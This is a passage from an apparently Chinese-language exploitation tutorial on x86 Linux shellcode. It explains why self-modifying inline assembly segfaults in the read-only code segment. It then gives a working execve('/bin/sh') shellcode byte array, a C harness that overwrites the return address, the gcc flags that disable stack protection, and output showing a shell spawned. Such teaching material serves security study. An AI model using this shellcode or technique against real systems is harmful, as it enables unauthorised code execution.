分析可知,0x8048397到0x80483b8之间的部分,使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。
- root@linux:~/pentest# ./shellcode_asm
- Segmentation fault
- root@linux:~/pentest#
|
为什么会出现段错误呢?原因是我们嵌入的汇编代码要修改自身所在的内存区域,然而由于main()函数所在的段属于代码段,具有只读属性,因此,要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制,我们将shellcode放在数据段,用一个全局变量数组来存储shellcode。
- root@linux:~/pentest# cat test.c
- #include <stdio.h>
-
- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"
- "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
- int main(void) {
- int ret;
- *(&ret + 2) = (int)shellcode;
- return 0;
- }
- root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c
- root@linux:~/pentest# ./test
- # exit
- root@linux:~/pentest#
|
可以看到,我们的shellcode成功的执行,并且得到命令行。
